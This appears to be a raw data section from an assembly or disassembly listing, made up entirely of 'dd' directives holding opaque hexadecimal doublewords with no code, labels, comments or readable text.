dd 7E74E43Dh, 0F2F40F9Fh, 0AB6381BDh, 0B78864DDh, 0DA0760A0h
dd 0F74A44CFh, 171E45D0h, 0AA7514h, 7E519EB8h, 0E72EA625h
dd 8207AEF0h, 939F4D3Bh, 56C05915h, 0C60717h, 4EB144A8h
dd 76714702h, 89C540C7h, 5ADA0500h, 0BCCC09EEh, 4400DF48h
dd 0D985225Eh, 19301800h, 7E53064Fh, 9FA714F3h, 0A000D496h
dd 2909BB3Eh, 387FEA6Fh, 3C00D9F4h, 0ED588087h, 25018Eh
dd 50182EE4h, 2A34667Dh, 0E755CF05h, 0C4404445h, 41118C9Ah
dd 8A70A8h, 158B9D30h, 39934647h, 0D5983100h, 0A0ECA5A9h
dd 0D2ED1E81h, 0F7690C3Ch, 8A80DA11h, 0E02289C4h, 5B0042DEh
dd 30908F05h, 0F04B5E1Bh, 2A8900FAh, 44833B29h, 6D001999h
dd 85DC9390h, 929F02E5h, 0F51B3E40h, 8BAA500h, 863226E1h
dd 2B29211Ch, 6809B00Ch, 6CAB0964h, 0BC0E3565h, 50CB10Ah
dd 5C85E38Dh, 2A788090h, 0BAF82824h, 3986C600h, 7E6D5255h
dd 44A11D08h, 30758064h, 4A20F948h, 51BFFB00h, 9A992B53h
dd 0C9450005h, 0EF1F44B2h, 1800D856h, 0FBCAEC2Eh, 133658Bh
dd 4DE6C6F6h, 0E7792A53h, 481792Bh, 6250CDF0h, 0FA510A3h
dd 6AD8B2E0h, 25ED1200h, 0AB6E913Eh, 83E01F1Fh, 9DEC09DEh
dd 0C79FB287h, 412FC1A1h, 0B586F0DAh, 293A4A0Ch, 0C495965h
dd 75AB778Ch, 0A5220A50h, 950D0E24h, 28981804h, 71287867h
dd 197C946Ch, 702E1101h, 3DFF218Fh, 30E20C0h, 2771DDB3h
dd 0B914931Fh, 30607279h, 0E0C3D1E6h, 59256028h, 741732DAh
dd 7A217F01h, 1A0E3E8Fh, 40AD7048h, 9A73F965h, 0C5FAE501h
dd 9749F051h, 3DFE891h, 0F3952AABh, 5C0AB86Dh, 4405EE09h
dd 4D15236Bh, 804C8476h, 6B9650F3h, 0A3083A74h, 0A926F19Bh
dd 7328E1A8h, 1E0694A4h, 20270422h, 89ED0CA8h, 17386EBFh
dd 0E1C7EC3Eh, 0F61BB119h, 5D854F07h, 0FA940124h, 70962C75h
dd 4E0C2517h, 0D84134EEh, 705160CAh, 9340EA4Fh, 0FC11E0A2h
dd 789CF033h, 61118A63h, 66838D4Ah, 0CD99F40h, 0C09F08D0h
dd 4A42CB21h, 0E019616Dh, 0DC499505h, 0A20970h, 0AD86FB5Bh
dd 0EF294482h, 0E4FF9D07h, 9EB15973h, 908198ACh, 0CCDEA084h
dd 2E84500Ah, 44394A25h, 706506A4h, 60085C8Dh, 2DCF2131h
dd 0F384E4Ah, 5E378009h, 4D28A652h, 2B6E0FDh, 0FE868A0Bh
dd 30844254h, 4A3260DFh, 4CA42347h, 0C8003B11h, 2A464A3Ah
dd 8703401Eh, 59AB0178h, 60210020h, 0E38171Ch, 5400C3C7h
dd 0A32DBBF2h, 12794A9Ch, 1F912E2h, 0F0DA5860h, 0B8410374h
dd 1615BC39h, 8FEB23h, 0D2FEC2F6h, 7400C443h, 49F54411h
dd 0D91B82h, 8A68D063h, 337DF346h, 670FA000h, 83F6EA80h
dd 0EA4B7EF2h, 2E60EB5h, 0C03EE7B4h, 0F3D3182Ah, 47003467h
dd 0E3E29B4Ch, 77F8E68h, 58B2F18Bh, 520570A4h, 9034AA5h
dd 0C89D6D6Bh, 2F0CB002h
dd 0C2CD1639h, 363A0FC0h, 0EDEE9300h, 6505C73Dh, 66CAF29Bh
dd 16427B80h, 0B2C0058h, 0AA97DA78h, 463864E7h, 59778041h
dd 0C2DCF214h, 0CC10C14Bh, 0D025ABCBh, 0EE0C7142h, 486EAD7Dh
dd 7CE40362h, 773E89FEh, 415182E0h, 71506803h, 53DEE9h
dd 9732F508h, 0F88F528Ah, 77683500h, 60BBB64Dh, 0BF70014Bh
dd 0E2642A38h, 424980AAh, 4AE96898h, 0BED60081h, 19CBD2Dh
dd 39F86B52h, 0E8B5DD00h, 3FF2600Ch, 0F8B3876h, 9A53C601h
dd 0A94EDCh, 37F2427Fh, 90A102F4h, 7AFA78CAh, 6A48AD00h
dd 3ABC4D8h, 67183C8Ch, 3E684E00h, 739939CCh, 0D07CDE00h
dd 40050EE1h, 93470031h, 0E5CF7B80h, 0D975C2B0h, 0C1A5B400h
dd 0B364FF9Bh, 9CB0647h, 8333EC5h, 0FE219361h, 442064C7h
dd 6B2F2B5h, 0F5CD78D9h, 8A0120BBh, 59272E15h, 0B07A3558h
dd 2978A0EAh, 0FFA17A00h, 2D552C78h, 86C31547h, 68B84075h
dd 2770DA1Dh, 356BD800h, 0CEACBF7h, 97535CBAh, 731D8458h
dd 7E6A7Dh, 0B4BC3D39h, 180DC04Fh, 0B0C1A48Ch, 911FB305h
dd 0B09C3AFAh, 3D84324Fh, 0E7217B59h, 325590CCh, 65506F40h
dd 7121A526h, 0DF853B4Bh, 5381D680h, 26D1F1CEh, 64B0A51Ch
dd 0A9429B1h, 607D6C4h, 37D365ECh, 0B86008E9h, 0AC2F721h
dd 7AA001ACh, 0A27F42EDh, 0F6B5C407h, 84BA1301h, 0AED921ABh
dd 937C7087h, 0B0E6102Bh, 87317F80h, 70D8F0E7h, 9DD4CCh
dd 0E4A35F52h, 8E83F967h, 0C7FD500h, 0DFBD3F0Ah, 0FE770739h
dd 0A07E7931h, 62F2B4CEh, 85A5D403h, 0D133F66Dh, 11A1A638h
dd 918A5004h, 0D510AF67h, 93BF08E0h, 9ACF00F9h, 674EFB64h
dd 0AB00C83Fh, 0B2A94A8Ah, 62EAD5A4h, 9E6B2909h, 29DF0C2Bh
dd 0B9228426h, 9D6722FCh, 42A03C22h, 10311122h, 22288328h
dd 0BE22C7C0h, 1443503Eh, 0A6B0887Fh, 73789C7Bh, 5B6DE81Fh
dd 9144A5C0h, 777CBDCBh, 0E9FCA8h, 5DE5E0FFh, 93375C8Fh
dd 0DE2D0500h, 3CA25446h, 0FAAC0066h, 4032AF04h, 5009181h
dd 2C2288DAh, 11ACE0Eh, 44A01F4Dh, 0D499270Ch, 93A8134h
dd 40C600D8h, 0E1DAE0C2h, 2F5C0061h, 7C4F3829h, 687711C9h
dd 5E0B9F00h, 477CC95h, 0E77F0365h, 2B3D1DD3h, 9E4D76A8h
dd 714C000h, 3BCBAC05h, 33C26E5h, 39FE0059h, 84F91626h
dd 0BFA8D8A0h, 0B0382E24h, 0F4C78000h, 3B097A61h, 5CAF2DF5h
dd 0A703AFF0h, 0EDA0ADECh, 7664908Dh, 0F140E329h, 90E7BAACh
dd 3C25F258h, 800C0C1h, 0BF1A123Ch, 0A90CE8B1h, 0A0DDDE80h
dd 38487F35h, 504C8DD9h, 40595112h, 90C1571Ch, 5800ECE5h
dd 0C35F398Fh, 0D3E035h, 1F332AA3h, 6E192F01h, 1EB839h
dd 0B2AC1CA2h, 70A3931Ah, 63680062h, 0F81D448h, 8F00C524h
dd 45C625A1h, 7838C3Fh, 0DA7A425Dh, 27D1304Ch, 0DE03F78Bh
dd 0E1AF343Eh, 2EFE88BEh, 50E035h, 81CDFD5Fh, 5515081Ah
dd 0DFFF6401h, 2B1F6C90h, 74327C70h, 611407CCh, 82C06Ah
dd 0CD238770h, 0EB4BF700h, 0A33E7418h, 0C9340001h, 0D4F3BF1Eh
dd 2D1CCC53h, 0AE009DFEh, 3DD9E71Ah, 0E92F00BAh, 57C89E29h
dd 6C14E20Dh, 1E8CEE77h, 28800167h, 0A5E096ECh, 586B0072h
dd 745A4987h, 1C305FD4h, 0BDB82466h, 5B250735h, 50E9CB9Ah
dd 7A2E3EB6h, 0E401FEFCh, 67E7BC96h, 4820DE48h, 47A30072h
dd 1A228653h, 1113F4A5h, 3D00FA92h, 0BF458B26h, 0DE8001Dh
dd 90054F18h, 0D500C9AAh, 6361A566h, 2CD3F55Dh, 7445A5Fh
dd 0F075A119h, 2B846CD7h, 20C6A730h, 50403C59h, 3B06DCE2h
dd 6A0068B6h, 0ED03E073h, 0C648AA69h, 1B3A0024h, 0A3355F54h
dd 8E073FBAh, 0F5BFAC00h, 0B19EC1F0h, 57034802h, 682F1B65h
dd 1B146338h, 61A4C78Dh, 0A9E644A8h, 547C92EAh, 0F9B6D400h
dd 3B9E457Bh, 69CC007Fh, 7C2D1699h, 753CF00Ah, 0A8DC31F4h
dd 0DECC844Ah, 691F0061h, 0C2B62D88h, 88A021F9h, 7E3A244Bh
dd 4DFC00FFh, 904AA205h, 0CC9A02EBh, 0BF7BE33Ah, 2792E5C0h
dd 16A1BA00h, 0D2EC9645h, 3FFFAC2h, 5C68977Bh, 1AD88D84h
dd 14F2F9B2h, 1C000490h, 3F2BC54Bh, 737F2F7h, 60CF1358h
dd 26456249h, 0EFCD8BE0h, 0E70020EAh, 1B98FB2Dh, 0ADCABFCh
dd 35DA3EF7h, 22803A88h, 93FA5FFEh, 4F0FFBEAh, 178EF51Bh
dd 668DA0h, 7F8CFF21h, 22DB0F56h, 3A6D9507h, 0D487BEAAh
dd 0F870F6h, 7AC823B3h, 0C41ED29Dh, 0DDEDA9FEh, 212C40C1h
dd 0D509B814h, 1BB7EB71h, 0D8DFA3DCh, 0FCF96Eh, 0B93E53F5h
dd 677CBAEEh, 186025Ch, 9368CC6h, 0A8CB40DAh, 7F7ED587h
dd 0FD1D13C9h, 79A42039h, 17000F92h, 5EB6F5FBh, 1FB7C0A6h
dd 0C2963BACh, 347EF04Ah, 0AA32D140h, 82D32C3Eh, 0A8C6C1F1h
dd 308B409Dh, 4F410012h, 1E227C2h, 2B0069ECh, 0DB94D19Bh
dd 2C8DFB48h, 7AE667h, 322FAACFh, 0E000BEB7h, 0E13D6330h
dd 0A6EDF3h, 4681853Ch, 0B5751C29h, 0BBC4000h, 6AC46710h
dd 0CCCCF974h, 1DC077Eh, 0C0345B77h, 0BA814DE7h, 63EFE21Dh
dd 0AE10E598h, 4BDB0F87h, 0EBA024D9h, 5626F0E0h, 0EA410500h
dd 0F50311FDh, 37360CACh, 0C1901943h, 0F728A400h, 2A690829h
dd 0F8263A06h, 0ABDDE500h, 4D45CA6h, 7F23B800h, 0FDDF65ACh
dd 0D951001Eh, 0CD6466D0h, 2B3B9AEDh, 0CBF60105h, 8369D8E3h
dd 30620CD0h, 0F4C04FBFh, 7600C806h, 61C29EDFh, 1D3DC997h
dd 807F59E3h, 24EDB122h, 430C3458h, 10AF6E47h, 5679008Bh
dd 0D13EE659h, 7A0319F5h, 0BED8B47Fh, 1FF4B86Eh, 0A38B050Ah
dd 8051DACAh, 0FA4CA6A7h, 0B2B31400h, 2723707Fh, 6FB102B5h
dd 12815CFFh, 44B9E441h, 9B38C0F3h, 0D090F542h, 14542300h
dd 7B6860EDh, 7005079Fh, 0D4B61DB2h, 0C5E8803Ah, 1B054841h
dd 969A6C5Ch, 0ACCADFC1h, 0AB3060h, 4B12865Dh, 0DE911A2Bh
dd 0E3EC6400h, 2E632278h, 0EE7A00D3h, 16FECF09h, 0BD1224B1h
dd 0AA005F8Fh, 722DAC3Ah, 318400B5h, 489A3429h, 8B00C3B8h
dd 705847D5h, 7EEAB1Ah, 5C23DCD3h, 7A0C63BAh, 5B0672C0h
dd 61FFD112h, 0E60A7400h, 13AB694h, 55410CBBh, 0FC170735h
dd 0D27DFF56h, 80B87939h, 0B4FB5AC7h, 1F6490h, 24E8204Eh
dd 5272A751h, 943AAD2Eh, 4834B400h, 73032122h, 0B89549D3h
dd 78804Ch, 0AF58B22Eh, 0B6288AC3h, 1B0ED67Dh, 2699C6h
dd 68D0E65h, 0DE4F0035h, 20CB3FA3h, 47009C6Fh, 1D9E9D94h
dd 58625177h, 0B20368BBh, 0F8711CBh, 0B56A4980h, 0D9A69F13h
dd 780DC407h, 0BF36A491h, 71AF9E0h, 0C58A714Bh, 0D5D600BAh
dd 93005F4Dh, 59CCB952h, 127F42A6h, 0B09510C6h, 1800D334h
dd 0F18F4072h, 5005791Ah, 0F9850h, 3A1241C1h, 6EE352F3h
dd 0B1CE5B00h, 93A1298Ah, 73F8E9h, 705DD560h, 4ED87E31h
dd 0C72630C0h, 221D83h, 5B9F0308h, 678C6440h, 9CC5F300h
dd 926B65ABh, 74A6003Dh, 7949BF59h, 7C1E6F9Dh, 0B4C0D350h
dd 3DC572AFh, 0B7EAF0h, 38E52D4h, 0DF236808h, 0B5B9FC00h
dd 3C019BFEh, 469300BEh, 3D1E51C7h, 0D003EE2h, 0F4F67CC9h
dd 5368B1h, 8AA2BFE0h, 0BA2DA4A0h, 32567E09h, 39CD005Bh
dd 128E89CDh, 1FEA87EBh, 83651F94h, 0ACA1489Ch, 5C4F8690h
dd 0B60035F6h, 1183A0B1h, 38B4552Ah, 76D18Fh, 667FFB87h
dd 2F05CD38h, 2260E605h, 90C039C1h, 0B004BDDFh, 4C9E12FCh
dd 0C71421F3h, 1800C7E3h, 9B955621h, 0A46723h, 64CEF63Ah
dd 28B477Eh, 89CBB00h
dd 2E1A3205h, 946C00C9h, 1776ADA8h, 3900D8F7h, 471E5C27h
dd 36EDA7h, 0CA520D97h, 0CDFE0A9h, 63167703h, 3A2D7DCEh
dd 9C1F0169h, 0C0E45E10h, 0D5ACB073h, 80009030h, 0D9503D75h
dd 383BA4B3h, 8580B90Dh, 0D517C1F4h, 770057F3h, 0C87C3D76h
dd 298846Dh, 0B0471346h, 44585336h, 48D03A2Eh, 0ED548880h
dd 0FAE5C97Dh, 303F05A9h, 804A8216h, 755BE11Ch, 0B15CC4F6h
dd 29555038h, 0F8508E00h, 622E301Ch, 955E0EE7h, 7C403B8Bh
dd 0F085A0C3h, 9D014F79h, 2F7BC877h, 6430AEF2h, 896E0076h
dd 0AF15C25Ch, 4F005086h, 8135B1C0h, 0F7A0429Dh, 43474h
dd 0EC9733A7h, 0BA74630Bh, 66038F01h, 7C0C8565h, 552B4F0h
dd 28271783h, 18B8009Bh, 0D02C4ED2h, 67374C01h, 5CD781E8h
dd 12F93C4h, 0F120B70Bh, 0C0B2C968h, 0BB002BC1h, 386CCEB5h
dd 274A71h, 0C05C1978h, 0B9BD2346h, 1600BFFCh, 5FEDA618h
dd 30804E3h, 3FFEF462h, 71982E7Bh, 6000C88h, 18176809h
dd 9647F802h, 8F8A0020h, 287B3558h, 0DD1E3F00h, 0C95E9232h
dd 8FA5882Ch, 2BEFD30h, 0E23EA0CEh, 55A8A0E2h, 12DE78CCh
dd 0C090BA82h, 43AC7220h, 30D4C600h, 33BB0C01h, 0F5B31613h
dd 3A380028h, 0F2F31FE5h, 0C7491100h, 72D697D2h, 0BCF91294h
dd 68D809B1h, 5B200001h, 0D1B8939Eh, 40DFD027h, 0AE1F17CAh
dd 0C69800F7h, 0D813C575h, 1C029252h, 821ACD86h, 7CA940EAh
dd 848302C4h, 2E884A07h, 5FCC44C0h, 3978A902h, 4009F040h
dd 0B8945E2Dh, 0A42EE5Ch, 76B34BFFh, 0E30300C8h, 580CFA07h
dd 89862700h, 5AF56E6Fh, 1C9C98A7h, 0C0BE2F31h, 9C1438B2h
dd 0C550562Eh, 3B12AF81h, 74C029EDh, 0F0F531h, 0C906DBCCh
dd 4202C21h, 0B4079EA0h, 2B0231E6h, 0D09D6702h, 339C6044h
dd 0FB67F90h, 63A15F84h, 0DC2C620h, 0B93EB5F6h, 1A8C80BAh
dd 0E83BB867h, 34D21777h, 4E430C0h, 43000629h, 0E47DD59Bh
dd 0B87B65h, 0E14FD3E3h, 6BD076EFh, 0D103C804h, 7C80B01Eh
dd 0BBE543Dh, 0CEE6959Bh, 970CE403h, 0F4A0ACA8h, 3A004A72h
dd 0D00D0F32h, 17EED3BBh, 59567h, 0E8A6E08Bh, 5F183B96h
dd 0A348F4B8h, 78370081h, 6622019Fh, 5CF08CBFh, 0D4917700h
dd 0C7E5A057h, 448B48AFh, 0C0CA0300h, 0F706CF05h, 0E97C4860h
dd 0DEBB38h, 990D53F9h, 0D73E02E7h, 0B328190Fh, 40BCA04Ch
dd 8D2280h, 4B08F7B8h, 4A6B4169h, 0B35A413h, 5008C13h
dd 54E15150h, 0FDE909D1h, 0C180B3EBh, 0E515AB02h, 0E07E9F01h
dd 1C22047h, 90FBB770h, 1B380077h, 0A2BC4076h, 3D001CC8h
dd 85A31A16h, 9055CF2Fh, 0DDCE1CD0h, 64239E26h, 0CA150460h
dd 987B096Dh, 1FF9DC60h, 0C402C97Ch, 81FD42CCh, 608779A0h
dd 0A512C2BBh, 98C03F64h, 38C0B79Ah, 21402E07h, 90318544h
dd 18110084h, 0FB58F4CBh, 0D01CC6FFh, 14C05E80h, 0AC77BFDEh
dd 0E71B009Ch, 4AAAA631h, 0C0058690h, 0A4AD32EAh, 788A38C1h
dd 94C1FE44h, 69201237h, 397A7EE0h, 1889FF6Eh, 0C689168h
dd 7900E8A4h, 783C632Ah, 30804BF1h, 5DD060FDh, 425CA8FFh
dd 876D0058h, 0DDACDFCEh, 9FEE0013h, 0EDDCBF91h, 0A9127AE1h
dd 3400F07Ch, 13A6DB5Eh, 0AFF31D9Ch, 0F1C300CEh, 0A7CA04F4h
dd 17BEEB01h, 7242A1C5h, 0C44AE4h, 5A6AB8C8h, 96B1D668h
dd 0E43A8F02h, 0D0D18948h, 0FD631F5Ch, 0DE14DDC5h, 106A0059h
dd 601BE5C6h, 6C0234F0h, 0D972F0FEh, 7D7E602Bh, 70A2009Eh
dd 5AD48074h, 5B01A5F2h, 0BA4DEFA0h, 0C42465D6h, 9EA2002Fh
dd 0BF41D909h, 51008DF3h, 582D1D8Bh, 1913814h, 0CC27F76h
dd 80AC4E6Dh, 522811E0h, 2C121B64h, 3FA85984h, 4FCC319Dh
dd 6F441FFDh, 71308018h, 0A28AF77h, 5100FCAEh, 0CDC91B68h
dd 4CDC1517h, 9000A82Ah, 0E28CB8D3h, 0B112BF1Dh, 3040A213h
dd 0D7D2981Eh, 41872FCh, 0ECC5FAFFh, 19EF8052h, 0A200889Bh
dd 0A78A6594h, 13407EB7h, 1EA4F4Ch, 0B9933E88h, 9F8405Ch
dd 0C700B2D8h, 24A22BAEh, 0E08380h, 395C9443h, 325B89B1h
dd 0F3A67400h, 56140DD3h, 0EC8600C9h, 20ADD592h, 6900D70Ch
dd 0A107B82h, 58BE9106h, 761D0FF5h, 0A1CD0098h, 5324F61Eh
dd 88355Ch, 574B733Bh, 3F030126h, 1501D3F7h, 0B80C81DAh
dd 0CBFFC89Dh, 5A5BEA00h, 4BD75872h, 6ED21FD8h, 863600F4h
dd 0AA67B461h, 208CF48h, 1633516h, 0C06504A6h, 0ECEEDD7Ch
dd 1C717D3Ch, 0BD85E8C2h, 87803733h, 24D6C4h, 0D043318Ah
dd 1AF6951Fh, 0D7EC6B00h, 0FDCA320Ch, 0E73D01B3h, 6D0E9245h
dd 27082047h, 7F65A02h, 0E8E3448Eh, 1D1018h, 0DB0F05FBh
dd 0F83DCE3Bh, 2F4D3A04h, 0F8C02A2Bh, 47DF9Dh, 59744809h
dd 35F17F8Eh, 61BDED50h, 440B7200h, 368B8956h, 3DC225D9h
dd 0C676C400h, 0B748A6B2h, 0DC80001Bh, 58202AD0h, 903C60FDh
dd 0DE64E094h, 9642A207h, 10C1B2F0h, 0CE310CB9h, 3B2E2620h
dd 770027EDh, 0E481A068h, 611C6F2Ah, 8DBDC6CBh, 262F294Dh
dd 7FE8C4E5h, 0A8300E47h, 0BC44CE1Ch, 742AC0C8h, 3B030E4Fh
dd 257D807Ch, 9541A8A0h, 1BC40034h, 0EDDE866Bh, 0B000B9E3h
dd 9A1E35E8h, 1682428Eh, 2122A01Ah, 6CBB81E0h, 50A70F18h
dd 0D2B7E02Bh, 0E696C79Fh, 0AE43D20h, 72A10482h, 0FFC0EF86h
dd 0A0500B26h, 0D5F41008h, 9B79DE00h, 35DFD1D4h, 365312CAh
dd 66CF096Dh, 68A554C0h, 2EA2550Bh, 2D2087B0h, 81ED8ECEh
dd 0BA62FA89h, 51388984h, 101C906Ch, 0C1079A0Bh, 0D99A3C2h
dd 0E7A74BA3h, 6C10D386h, 33101459h, 1A0F67F0h, 0EFFBD6h
dd 540544F7h, 0C489AA2h, 0ECC99B59h, 701E948h, 0D1902517h
dd 96FC4BDDh, 0F97F2Bh, 0A6AEFDFAh, 0A0D52EB0h, 4F02A104h
dd 2F202C05h, 0E01FC9BBh, 5394CC2Eh, 0E9B4660Ch, 79A4EAE9h
dd 428D3803h, 0EF80AF3Bh, 2E12D2E7h, 5709A76h, 0BF001077h
dd 0A06CA793h, 89D68Dh, 473FCCCEh, 9BFAE015h, 35C4AB00h
dd 53E484D4h, 71F500FBh, 0AD0AC1BEh, 3301B480h, 48142E75h
dd 6AFC03E0h, 4CFC00D6h, 0BA2DAA8h, 90076857h, 2FE3AF13h
dd 0D3DE7750h, 0EB61E76Ch, 0F6B8A0C2h, 44FFE0h, 8C71BF18h
dd 0A562BB5Eh, 4096D9C0h, 2157836h, 2BFFE0Ah, 141E01Fh
dd 31CB6050h, 81565E1Eh, 0DDAB7945h, 0B40FC4C0h, 844E2A95h
dd 28FAF088h, 30811CC4h, 2B79AECFh, 0C9FC7FB7h, 20303Fh
dd 2407416Ah, 1FB3F3BBh, 4004C826h, 174D9751h, 0B018DEEFh
dd 4699D9B6h, 0EAEB005Dh, 280545E1h, 0ABE878F7h, 1197261Fh
dd 0A1EC07C3h, 0B0BDC37Dh, 2F4D116h, 0F6A47134h, 85013930h
dd 0EC48A362h, 184000B6h, 3B4B2B9Ch, 0A9CFB83Ch, 7D0F25h
dd 0B1B3E9CEh, 0FAF2008Fh, 6834AAFEh, 675F3FBh, 0D60B28A1h
dd 81139A00h, 0F9AB1F95h, 69D718B1h, 0AF07557Eh, 0BDEB1EAEh
dd 887FB6B3h, 1C3B32C8h, 832DA279h, 0A47E5565h, 301E6888h
dd 0B188E300h, 9F0A17D2h, 67DA0181h, 8A9ED16Bh, 8348D452h
dd 0FEEB9D00h, 7E075EB4h, 0ED0C2C4Bh, 59AC3BE9h, 0BFDA009Dh
dd 0E07671D0h, 18EBC03h, 0F06B856Dh, 2B2D2Fh, 6A0D6E78h
dd 0DD94E3BFh, 3DF90500h, 7DC0010Fh, 0ADE500AEh, 0A99D6D0Ah
dd 0E30097B1h, 172EBDB8h, 55086Fh, 95D0F0E2h, 809E2B4Bh
dd 3D410B00h, 0A6CA77D4h, 82A750E1h, 4290A4h, 0E2B389A5h
dd 7A2988E8h, 0BA8B6900h, 0E4F1BB49h, 6FA201E1h, 0C2EA01Dh
dd 0B327600Ah, 0DC00D870h
dd 93D651D5h, 6DFC69h, 649D6A25h, 0F1141DD2h, 4450E500h
dd 154FE3D7h, 0D6F4ADh, 0DDB5F202h, 36D477D8h, 81AC8F01h
dd 0FD99D25Fh, 9E5B40D2h, 3C1802DAh, 3EBE03A7h, 0CE76AC83h
dd 19C07DE2h, 0D61861E4h, 0B9188827h, 0CE4EC7EDh, 0A3176056h
dd 0CA0A67E0h, 0C0F52880h, 71D8BE07h, 0A5AA4DE1h, 64FE7FE8h
dd 22F629ECh, 21941390h, 22111A2Fh, 0F202DE2Eh, 215524BDh
dd 8E1111F1h, 0BCDA1131h, 11DE5911h, 0BA111FA9h, 0B82E112Dh
dd 11DFDD11h, 0E6121581h, 1FF45085h, 2214E828h, 0D277E225h
dd 89948688h, 444908E5h, 81447EFDh, 29B144D2h, 0FC6F64A0h
dd 779CE8Bh, 0DCD0A86Bh, 7C2C5006h, 0D1FCF66h, 0F240C117h
dd 32A26F9Eh, 0AC45001Ah, 0E4FB854Bh, 2C0021A1h, 0F7B478F5h
dd 3C58B299h, 4080BA53h, 97473EE9h, 50008C49h, 5E88FC87h
dd 862A4h, 0AA364206h, 0D9E25DEh, 0E40380Ch, 9516266h
dd 0A4989F53h, 7BCCB980h, 0D0EF3FFh, 2040FCADh, 0B00A7C51h
dd 4DBD2F6Dh, 4F02817Eh, 0C088BF48h, 90CF8C04h, 69C70024h
dd 0D182A304h, 3B3D3F03h, 0F54681DBh, 556142F7h, 0F60F1E4h
dd 8DB8DC76h, 0C04EEA20h, 680094A6h, 503116BCh, 309FAF97h
dd 0A0218E8Ch, 0B502C9E3h, 0A8767A7Eh, 110DC072h, 60200119h
dd 0F48B4246h, 0FB5820E7h, 8C61303h, 802C53EAh, 0BA035Ch
dd 9C4493CCh, 0B2C40A3Dh, 3689C500h, 0D91D25B3h, 0C280000Ch
dd 7C912271h, 0CC00C421h, 2EB332A0h, 3FE74E3h, 37F48DA8h
dd 3E0003F7h, 7A9DCDB8h, 38ED3B6h, 0EA1275E6h, 10D11913h
dd 723480F2h, 9A5644Bh, 30BB0073h, 8FA71F22h, 0C73B798Dh
dd 0CE4100DAh, 9F69667Ah, 22420008h, 5F2511ACh, 0DF00923Fh
dd 0BD35C72Ch, 0EA127D10h, 2D9C0F50h, 803E63A5h, 0FA77C62Bh
dd 4900D611h, 8FFEDB38h, 4C2D52FBh, 5C00465Bh, 0CAF3F684h
dd 79128715h, 0F400719Ah, 0ED703C0h, 2F490008h, 1564E6EEh
dd 2D014F36h, 65B0D581h, 6FC80B92h, 0F5E3EC86h, 0E8268F0h
dd 160EC60Ch, 79397F00h, 0F800E46Fh, 0F69CDCAh, 6222DE9h
dd 0C1C0C80Bh, 0BF0022E6h, 0D5B3A5A1h, 15F2E20h, 99ABA49Dh
dd 30506C0Bh, 0A3033D7Ah, 947AC072h, 3452C0A1h, 0A45B006Dh
dd 0B29F647Eh, 8B012BE3h, 0A627DDC6h, 0A8C4D2A0h, 57163BB7h
dd 894C3480h, 6C4F320Ch, 4A15E200h, 0E8763045h, 4743388Ch
dd 0E6469100h, 0FE8DEB7Bh, 42D23D00h, 60CA9EAAh, 0D80FEB7h
dd 0E079958Bh, 3188248Ah, 632B6C00h, 0BA9C16BFh, 165FF24Bh
dd 15A95C6h, 993DF540h, 0CB24207Dh, 0B534AB00h, 571BF856h
dd 0BA260013h, 1EF606AFh, 0F53BD6B2h, 803B9894h, 3B4BFC30h
dd 0ED876B89h, 40EAF147h, 15BBB485h, 33F03A03h, 90950C34h
dd 0DDC251h, 0E50BD8DBh, 39748A5Fh, 0CD77C492h, 0B3099DB0h
dd 0AB9151h, 0BB077CE4h, 0AC035FACh, 370D00CFh, 0D17FD392h
dd 154800C4h, 2E7AC839h, 1800F380h, 0FA10EF87h, 0BCAEDBBh
dd 0C3EC485Eh, 0E4910055h, 1ED9133Fh, 0C0AAF94Ch, 325160BAh
dd 5C00C5D3h, 7E6514C0h, 6B8B27h, 6D174862h, 6076735Eh
dd 5A756300h, 0AD3C5B04h, 0DBF01CF3h, 5CD29Eh, 6F200914h
dd 0A3009BC8h, 2B03DE5Eh, 92EEB867h, 760E00CCh, 0FC608C7Bh
dd 0F300AF5Ch, 4369AB4Ah, 488BA7h, 0E3529BB2h, 0B679F54Dh
dd 0C5738498h, 0C1772800h, 25ED0603h, 0A1050EF4h, 41DDA88Fh
dd 7D9814FEh, 0B585C41Ah, 596F3800h, 0C66DBB61h, 432B0972h
dd 0FD01D8E8h, 0DC4F3EEDh, 2A00EB30h, 0EE4557C3h, 0B0A1065Dh
dd 49A83DDBh, 0DA762404h, 58A1C09Ah, 81000111h, 319B6C36h
dd 35E918Eh, 7F52755h, 0F5B46Dh, 0B4CC1ADh, 760784EBh
dd 7874CBA2h, 462D7D90h, 5D0E02C9h, 0BCDE6EDAh, 848CE660h
dd 0DF57D007h, 0D38325D7h, 0CB6A88CCh, 0DDE200FEh, 0C97EB1E7h
dd 4B0026D5h, 14ECD81h, 3E3298EAh, 9080C641h, 8531BF73h
dd 0A100DC4Ah, 0B727FB7Fh, 26114466h, 3CDCB0FFh, 0DB64F280h
dd 0FB05B952h, 0E998D1Fh, 1B00485Eh, 36CE9B6Dh, 0B84100D6h
dd 0A8C796AFh, 98094004h, 0FDAC0Bh, 5F1F5A52h, 3C2900FEh
dd 94885375h, 4B166849h, 4400FDBBh, 6373565Ah, 84FE0A76h
dd 80E4716Ch, 6D26C265h, 38B0C870h, 0F66EE800h, 463F0C15h
dd 93D800F7h, 0E953485Ah, 8338CF68h, 0AE9800EFh, 851555C0h
dd 0BE730043h, 0BCDDABBAh, 341F310Ah, 50402097h, 657913A9h
dd 4A760082h, 0E095D522h, 411EFC7Ch, 90C55C94h, 84C81BF4h
dd 4C270913h, 0F800468Eh, 120F3643h, 0B4006D76h, 0A4390E4Eh
dd 9858CA21h, 2E570398h, 1443F125h, 0DAF3DDD8h, 0DE4EB300h
dd 8D517AB6h, 0A6616060h, 95061A37h, 0C9DDEC07h, 7F105808h
dd 90D3B9h, 6710F225h, 70D6C22Fh, 4AB83100h, 9E52DCFAh
dd 0C0425F04h, 0DA7C8A57h, 1CC01300h, 0CBB83F69h, 0A64F00ECh
dd 0A356879Eh, 0EE1F203Ah, 43000322h, 6F570975h, 0B36D002Ch
dd 1FB9CED1h, 3700A711h, 0FBEF65DCh, 60F783DBh, 0A253401Bh
dd 19003BC1h, 9D0EE1AFh, 3E00691h, 0D81D2DCEh, 1CD25A5h
dd 83DD9494h, 0C3BEE4B0h, 7F78B724h, 840D824h, 0DDF0A7h
dd 98796DCEh, 129EFE84h, 0AEB1CD00h, 0D3A1D706h, 892807D9h
dd 5017BED1h, 8CAAFDC4h, 93E8CD00h, 0EE56BD3Eh, 2696A0C9h
dd 636500DEh, 61870ACCh, 3F009670h, 99FB1D71h, 1D95032Bh
dd 434CAA48h, 0D3CDE877h, 7BA8EBD8h, 86519A00h, 1C308C85h
dd 4BE90003h, 2197EF84h, 0D1001EADh, 0EB405E94h, 1DC220h
